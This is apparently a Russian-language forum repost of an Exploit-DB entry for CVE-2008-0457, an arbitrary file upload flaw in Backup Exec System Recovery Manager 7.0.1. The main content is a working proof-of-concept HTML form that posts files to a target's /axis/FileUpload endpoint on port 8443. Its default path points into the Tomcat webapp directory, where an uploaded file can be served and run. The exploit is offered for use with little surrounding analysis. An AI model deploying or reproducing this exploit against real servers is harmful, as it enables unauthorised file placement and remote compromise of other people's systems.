Exploit Backup Exec System Recovery Manager 7.0.1 - Arbitrary File Upload

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
5078
Проверка EDB
  1. Пройдено
Автор
TITON
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2008-0457
Дата публикации
2008-02-07
HTML:
<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
	File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
	  </form>
(c)BastardLabs 2008.
  </body>
</html>

# milw0rm.com [2008-02-07]
 
Источник
www.exploit-db.com

Похожие темы